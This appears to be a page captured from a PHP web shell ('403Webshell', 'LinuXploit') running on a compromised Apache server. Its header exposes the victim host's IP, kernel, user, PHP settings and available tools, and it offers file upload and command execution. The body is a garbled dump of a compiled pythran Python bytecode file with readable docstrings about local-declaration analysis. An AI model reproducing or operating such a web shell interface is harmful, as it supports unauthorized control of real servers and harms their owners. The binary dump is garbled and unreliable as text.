403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/analyses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/analyses/__pycache__/local_declarations.cpython-311.pyc
�

cR�a���V�dZddlmZddlZGd�de��ZGd�de��ZdS)z�
LocalNameDeclarations gathers name of declarations local to a node.
LocalNodeDeclarations gathers node of declarations local to a node.
�)�NodeAnalysisNc�(��eZdZdZ�fd�Zd�Z�xZS)�LocalNodeDeclarationsa�
    Gathers all local symbols from a function.

    It should not be use from outside a function, but can be used on a function
    (but in that case, parameters are not taken into account)

    >>> import gast as ast
    >>> from pythran import passmanager, backend
    >>> node = ast.parse('''
    ... def foo(a):
    ...     b = a + 1''')
    >>> pm = passmanager.PassManager("test")
    >>> [name.id for name in pm.gather(LocalNodeDeclarations, node)]
    ['b']
    >>> node = ast.parse('''
    ... for c in range(n):
    ...     b = a + 1''')
    >>> pm = passmanager.PassManager("test")
    >>> sorted([name.id for name in pm.gather(LocalNodeDeclarations, node)])
    ['b', 'c']
    c�|��t��|_tt|�����dS�z% Initialize empty set as the result. N)�set�result�superr�__init__��self�	__class__s ��E/usr/lib/python3/dist-packages/pythran/analyses/local_declarations.pyrzLocalNodeDeclarations.__init__#�1����e�e���
�#�T�*�*�3�3�5�5�5�5�5�c�|�t|jtj��r|j�|��dSdS)z3 Any node with Store context is a new declaration. N)�
isinstance�ctx�ast�Storer	�add�r
�nodes  r�
visit_Namez LocalNodeDeclarations.visit_Name(s<���d�h��	�*�*�	"��K�O�O�D�!�!�!�!�!�	"�	"r)�__name__�
__module__�__qualname__�__doc__rr�
__classcell__�rs@rrrsQ���������,6�6�6�6�6�
"�"�"�"�"�"�"rrc�.��eZdZdZ�fd�Zd�Zd�Z�xZS)�LocalNameDeclarationsaF
    Gathers all local identifiers from a node.

    >>> import gast as ast
    >>> from pythran import passmanager, backend
    >>> node = ast.parse('''
    ... def foo(a):
    ...     b = a + 1''')
    >>> pm = passmanager.PassManager("test")
    >>> sorted(pm.gather(LocalNameDeclarations, node))
    ['a', 'b', 'foo']
    c�|��t��|_tt|�����dSr)rr	r
r"rrs �rrzLocalNameDeclarations.__init__=rrc��t|jtjtjf��r!|j�|j��dSdS)z; Any node with Store or Param context is a new identifier. N)rrrr�Paramr	r�idrs  rrz LocalNameDeclarations.visit_NameBsE���d�h���C�I� 6�7�7�	%��K�O�O�D�G�$�$�$�$�$�	%�	%rc�n�|j�|j��|�|��dS)z) Function name is a possible identifier. N)r	r�name�
generic_visitrs  r�visit_FunctionDefz'LocalNameDeclarations.visit_FunctionDefGs2�������	�"�"�"����4� � � � � r)rrrrrrr*rr s@rr"r".s`���������6�6�6�6�6�
%�%�%�
!�!�!�!�!�!�!rr")r�pythran.passmanagerr�gastrrr"�rr�<module>r.s�����
-�,�,�,�,�,����� "� "� "� "� "�L� "� "� "�F!�!�!�!�!�L�!�!�!�!�!r

Youez - 2016 - github.com/yon3zu
LinuXploit